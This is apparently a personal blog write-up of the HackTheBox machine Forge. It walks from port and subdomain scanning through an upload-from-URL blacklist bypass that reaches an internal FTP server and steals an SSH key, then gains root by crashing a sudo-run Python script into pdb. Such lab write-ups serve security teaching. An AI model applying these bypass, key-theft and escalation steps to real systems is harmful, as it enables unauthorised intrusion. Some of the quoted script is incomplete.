Writeup for the medium ranked HTB box Forge

Posted on Jan 24, 2022


“In a successful CSRF attack, the attacker causes the victim user to carry out an action unintentionally. For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over the user’s account. If the compromised user has a privileged role within the application, then the attacker might be able to take full control of all the application’s data and functionality.”

This box has a CSRF vulnerability to get the user flag, and then a bad written python program to get root.

Tools used for this box was NMAP, DIRB, SEARCHSPLOIT, NIKTO, PYTHON3, BURPSUITE, FFUF, CURL and NC. The environment I used was a kali-VM (in Parallels Desktop 17) on my MACOS-machine.

Let’s GO!


Port scanning with NMAP

Let’s start with a NMAP scan to see all available ports.

└─$ sudo nmap -T4 -Pn -sV -A forge.htb -o nmap.init
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-10-27 19:18 CEST
Nmap scan report for forge.htb (
Host is up (0.040s latency).
Not shown: 997 closed ports
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open     http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Gallery
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:

Network Distance: 2 hops
Service Info: Host:; OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 993/tcp)
1   41.22 ms
2   41.40 ms forge.htb (

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.75 seconds

Here we can see port 21 (FTP), 22 (SSH) and 80 (HTTP), let’s scan port 80 for subdirectories.

Directory scanning with DIRB

└─$ sudo dirb http://forge.htb -o dirb     

DIRB v2.22    
By The Dark Raver

START_TIME: Wed Oct 27 19:18:42 2021
URL_BASE: http://forge.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt



---- Scanning URL: http://forge.htb/ ----
+ http://forge.htb/server-status (CODE:403|SIZE:274)
==> DIRECTORY: http://forge.htb/static/
+ http://forge.htb/upload (CODE:200|SIZE:929)
==> DIRECTORY: http://forge.htb/uploads/

---- Entering directory: http://forge.htb/static/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

---- Entering directory: http://forge.htb/uploads/ ----

END_TIME: Wed Oct 27 19:25:07

Vulnerability scanning with NIKTO

And scan for vulnerabilities with NIKTO.

└─$ nikto -h forge.htb    
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:    forge.htb
+ Target Port:        80
+ Start Time:         2021-10-28 11:42:51 (GMT2)
+ Server: Apache/2.4.41 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, GET, HEAD 
+ OSVDB-3268: /static/: Directory indexing found.
+ 7785 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2021-10-28 11:48:04 (GMT2) (313 seconds)
+ 1 host(s) tested

Scanning for subdomains with FFUF

Always scan for subdomains! Here done via FFUF.

└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.forge.htb/ 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3

 :: Method           : GET
 :: URL              : http://FUZZ.forge.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405

admin                   [Status: 200, Size: 27, Words: 4, Lines: 2]

Let’s add the subdomain admin to our /etc/hosts.

└─$ cat /etc/hosts
....... forge.htb admin.forge.htb

Then scan the subdomain for directories.

└─$ sudo dirb http://admin.forge.htb/ -o dirb.admin 

DIRB v2.22    
By The Dark Raver

OUTPUT_FILE: admin.dirb
START_TIME: Wed Oct 27 19:33:52 2021
URL_BASE: http://admin.forge.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt



---- Scanning URL: http://admin.forge.htb/ ----
+ http://admin.forge.htb/server-status (CODE:403|SIZE:280)
==> DIRECTORY: http://admin.forge.htb/static/

---- Entering directory: http://admin.forge.htb/static/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
    (Use mode '-w' if you want to scan it anyway)

END_TIME: Wed Oct 27 19:37:02 2021

Enumeration of the website

The index.html shows a gallery with .jpg-pictures… index

…and an upload-function.


The admin.forge.htb returns “only localhost is allowed”.


First, I tried uploading reverse-shells but there where no way to execute the exploits (at least that I could find) and after some tries, I tried the “upload from URL” function by typing, http://admin.forged.htb, and some others and they all returned “URL contains blacklisted address!”.


Then testing different cAsE and when I finally typed http://admin.forge.HTB (CASE HTB) the “blacklisted” message disappeared. Following the link just shows the regular message but if we capture the traffic in BURP or CURL it returns some interesting data.

└─$ curl http://forge.htb/uploads/P4hbfT7PhGGLReAem9al
<!DOCTYPE html>
    <title>Admin Portal</title>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
    <center><h1>Welcome Admins!</h1></center>

Ok, it return /announcements, let’s add that to the URL-upload section.

└─$ curl http://forge.htb/uploads/g6itXOWxjeD9RQhQGMXZ
<!DOCTYPE html>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
        <li>An internal ftp server has been setup with credentials as deadbeaf:deadbeafdeadbeaf!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>

Here we get a password in return! First I tried connecting to the open port 21 with the credentials but the service did not respond, then after reading the output above once again, “…one can simply pass a url with ?u=<;url&gt”, so let’s try that.

Gaining access

http://admin.forge.HTB/upload?u=ftp://deadbeaf:[email protected].

└─$ curl http://forge.htb/uploads/olj5FVaULOzgyFnoW8dP                                                                                    1drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Oct 28 17:05 user.txt

Get SSH access by stealing id_rsa

It worked! From here we can just cat the ‘user.txt’, but since we need SSH to the box for root we could just cat the ‘id_rsa’:

http://admin.forge.HTB/upload?u=ftp://deadbeaf:[email protected]/.ssh/id_rsa.

└─$ curl http://forge.htb/uploads/BgLG080NwbzKceCaj6FE                                                                                  130-----BEGIN OPENSSH PRIVATE KEY-----

So, let’s ssh to the box and grab the user.txt!

└─$ ssh -i id_rsa [email protected]                                                                                                        255The authenticity of host 'forge.htb (' can't be established.
ECDSA key fingerprint is SHA256:e/qp97tB7zm4r/sMgxwxPixH0d4YFnuB6uKn1GP5GTw.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/home/erra/.ssh/known_hosts).
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu 28 Oct 2021 05:38:14 PM UTC

  System load:  0.0               Processes:             223
  Usage of /:   43.9% of 6.82GB   Users logged in:       0
  Memory usage: 24%               IPv4 address for eth0:
  Swap usage:   0%

0 updates can be applied immediately.

The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Thu Oct 28 17:37:49 2021 from
[email protected]:~$ cat user.txt 

Privilege escalation to root

Now it is time to escalate privileges, first thing we always do is to find out if our user can run anything with sudo.

[email protected]:~$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass,

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py

And there is a python file named ‘remote.manage.py’, let’s read the code.

#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('', port))
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
except Exception as e:

So when running this program, it randomizes a port between 1025 - 65535 and starts to listen on that port.

[email protected]:~$ sudo python3 /opt/remote-manage.py 
Listening on localhost:1948

Start another shell and fire up netcat with that port. In the code there is also a password in cleartext which we can type in here:

[email protected]:~$ nc localhost 1948
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit

From here we can list running processes, see free memory and find out what ports our box is listening to. Nothing of that is interesting, all we need to do is crash the program. And when it crashes it goes to pdb (python debugger).

As our user can run this as sudo, we can simply use the os library (so we can use system OS commands), and then just cat the root flag.

Listening on localhost:1948
invalid literal for int() with base 10: b'ls'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) ls
*** NameError: name 'ls' is not defined
(Pdb) import os
(Pdb) os.system('cat /root/root.txt')


This box was a real challenge, especially the user-part where I tried a bunch of different rev-shells and other stuff before getting foothold. To learn some more about CSRF (Cross-Site Request Forgery), I’m going through the tutorial and labs over at portswigger so I’m more prepared for the next box! Hope you found this writeup useful and stay tuned for more content!

Happy hacking!

/Eric (cyberrauken)